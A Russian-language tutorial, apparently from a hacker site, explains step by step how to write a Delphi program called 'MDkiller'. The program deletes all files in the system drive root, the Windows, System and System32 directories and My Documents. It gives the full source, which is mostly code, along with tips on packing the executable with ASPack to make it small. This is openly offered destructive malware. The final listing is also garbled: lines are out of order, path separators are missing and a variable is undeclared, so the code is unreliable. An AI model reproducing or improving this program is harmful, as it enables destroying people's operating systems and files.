Сегодня мы напишем простенькую программку на Делфи, убивающую операционную систему Windows (a.k.a. Must Die). Даже не просто убивающую, а удаляющую все файлы, лежащие в корне того диска, где стоит OC, папке "Мои Документы", директории Windows, системной директории Windows, папке System32. Например если ты установил Мастдай в C:Windows, то при запуске проги будут удалены все файлы (но не папки) из: C:; C:Windows, C:Мои Документы, C:WindowsSystem,
C:WindowsSystem32.
Итак, приступим к делу. Project -> View Source. Здесь удаляем все лишнее, чтобы в результате получилось следующее: program MDkiller;
uses
Windows, Sysutils;
begin
end.
Теперь Делфя готова к работе. :))
Дополним это еще несколькими строками:
program MDkiller;
uses
Windows, Sysutils;
var { обьявление переменных}
S: Tsearchrec;
a1,a2,a3,a4,a5: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path); {определяем директорию, где установлена Windows}
a1:= strpas(p) + ''; {переводим возвращенный параметр из типа PChar в строковый тип и дополняем путь к директории Windows символом ''}
a2:= a1[1]+ ':'; {определяем диск, на котором установлена ОС}
a3:= a2 + 'Мои Документы'; {определяем папку "Мои Документы"}
getsystemdirectory(p1,max_path); {определяем cистемную директорию}
a4:= strpas(p1) ; {переводим возвращенный параметр из типа PChar в строковый тип } a5:= a4 + '32'; {определям System32}
a6:= a4 + ''; {дополняем путь к системной директории символом ''}
end.
Разберемся, что мы сделали
Переменные S: Tsearchrec и F: File необходимы для последующей процедуры поиска файлов в заданных директориях. Остальные переменные типа string и pchar нужны для определения необходимых параметров и перевода их в понятный фугкциям FindFirst и FindNext язык. Для определения системной директории и директории Windows мы использовали функции WinAPI
GetWindowsDirectory и GetSystemDirectory. Пути к нужным директориям определены, осталось удалить из них файлы.
Для поиска и удаления воспользуемся функциями FindFirst и FindNext.
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else { если функция FindFirst
возвращает значение не ноль - завершить поиск, если ноль тогда продолжить}
repeat {продолжать} deletefile(a1 + S.name); {удаление найденного файла}
until {пока}
Findnext(S) <> 0; {не возвращено значение ноль}
FindClose(S);{тогда закончить поиск}
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.
Вот и все. Я откомментировал удаление файлов только из директории Windows, т.к. в других случаях происходит почти то же самое - поиск и удаление файлов до тех пор, пока не будет возвращено значение не ноль ( <>0), т.е. файлов в указанной директории больше нет. Замечу, что удаление файлов из папок, находящихся в заданных директориях, производиться не будет, т.к. это требует усложнения алгоритма поиска.Я написал прогу с использованием WinAPI и Sysutils, так ее размер составил 42КВ, а зажатая ASPack'ом она стала весить всего 26КВ. Если
не использовать Sysutils, а описать поиск файлов, используя FindFirstFile и FinfNextFile из WinAPI можно получить размер екзешника - 17 KB, сжатый ASPack'ом - 15KB!
Полный листинг проги:
program MDkiller;
uses
Windows, Sysutils;
var
S: Tsearchrec;
a1,a2,a3,a4,a5,a6: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path);
a1:= strpas(p) + '';
a2:= a1[1]+ ':';
a3:= a2 + 'Мои Документы';
GetSystemDirectory(p1,max_path);
a4:= strpas(p1) ;
a5:= a4 + '32';
a6:= a4 + '';
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a1 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
S) else
repeat
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.